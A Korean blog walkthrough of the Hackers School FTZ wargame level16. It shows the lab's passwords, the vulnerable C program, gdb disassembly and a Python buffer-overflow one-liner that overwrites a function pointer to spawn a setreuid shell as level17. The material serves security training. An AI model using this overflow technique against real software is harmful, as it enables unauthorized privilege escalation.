해커스쿨 FTZ [LEVEL16] 풀이
M4ndU
해커스쿨 FTZ [LEVEL16] 풀이입니다.
ID | level16
PW | about to cause mass
으로 로그인합니다.
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
를 이용해 힌트를 확인합시다.
login as: level16
level16@192.168.31.128's password:
[level16@ftz level16]$ ls -l
total 32
-rwsr-x--- 1 level17 level16 14017 Mar 8 2003 attackme
-rw-r----- 1 root root 235 Mar 8 2003 attackme.c
-rw-r----- 1 root level16 235 Mar 8 2003 hint
drwxr-xr-x 2 root level16 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level16 4096 Jan 11 2009 tmp
[level16@ftz level16]$ cat hint
#include <stdio.h>
void shell() {
setreuid(3097,3097);
system("/bin/sh");
}
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
call();
}
20바이트의 buf에 48바이트 입력을 받고, call()를 하는데 printit함수의 주소를 call을 하는 것 같습니다.
우리는 shell함수를 call하도록 만들면 되겠네요.
변수 buf가 선언되고 *call이 선언되었으니 call부분을 덮어쓸 수 있을 것 같습니다.
이제 buf와 call의 거리를 계산해 봅시다.
[level16@ftz level16]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>: push ebp
0x08048519 <main+1>: mov ebp,esp
0x0804851b <main+3>: sub esp,0x38
0x0804851e <main+6>: mov DWORD PTR [ebp-16],0x8048500
0x08048525 <main+13>: sub esp,0x4
0x08048528 <main+16>: push ds:0x80496e8
0x0804852e <main+22>: push 0x30
0x08048530 <main+24>: lea eax,[ebp-56]
0x08048533 <main+27>: push eax
0x08048534 <main+28>: call 0x8048384 <fgets>
0x08048539 <main+33>: add esp,0x10
0x0804853c <main+36>: mov eax,DWORD PTR [ebp-16]
0x0804853f <main+39>: call eax
0x08048541 <main+41>: leave
0x08048542 <main+42>: ret
ebp-16에 0x8048500을 넣고
ebp-56에 입력값을 받으니
ebp-56이 buf이고, ebp-16이 call 인것 같습니다.
그러면 ebp-16에 들어간 0x8048500은 printit 함수의 시작주소이겠죠?
확인해 봅시다.
(gdb) disas printit
Dump of assembler code for function printit:
0x08048500 <printit+0>: push ebp
0x08048501 <printit+1>: mov ebp,esp
0x08048503 <printit+3>: sub esp,0x8
0x08048506 <printit+6>: sub esp,0xc
0x08048509 <printit+9>: push 0x80485c0
0x0804850e <printit+14>: call 0x80483a4 <printf>
0x08048513 <printit+19>: add esp,0x10
0x08048516 <printit+22>: leave
0x08048517 <printit+23>: ret
End of assembler dump.
맞네요.
우리는 ebp-16의 값을 printit함수의 시작주소가 아닌 shell함수의 시작주소로 바꿔주는 것이 목표이므로
shell함수의 시작주소도 확인해 봅시다.
(gdb) disas shell
Dump of assembler code for function shell:
0x080484d0 <shell+0>: push ebp
0x080484d1 <shell+1>: mov ebp,esp
0x080484d3 <shell+3>: sub esp,0x8
0x080484d6 <shell+6>: sub esp,0x8
0x080484d9 <shell+9>: push 0xc19
0x080484de <shell+14>: push 0xc19
0x080484e3 <shell+19>: call 0x80483b4 <setreuid>
0x080484e8 <shell+24>: add esp,0x10
0x080484eb <shell+27>: sub esp,0xc
0x080484ee <shell+30>: push 0x80485b8
0x080484f3 <shell+35>: call 0x8048364 <system>
0x080484f8 <shell+40>: add esp,0x10
0x080484fb <shell+43>: leave
0x080484fc <shell+44>: ret
shell함수의 시작주소는 0x080484d0 이네요.
이제 익스플로잇을 작성합시다!
(python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme
[level16@ftz level16]$ (python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme
my-pass
Level17 Password is "king poetic".
성공입니다! Ga즈Aㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ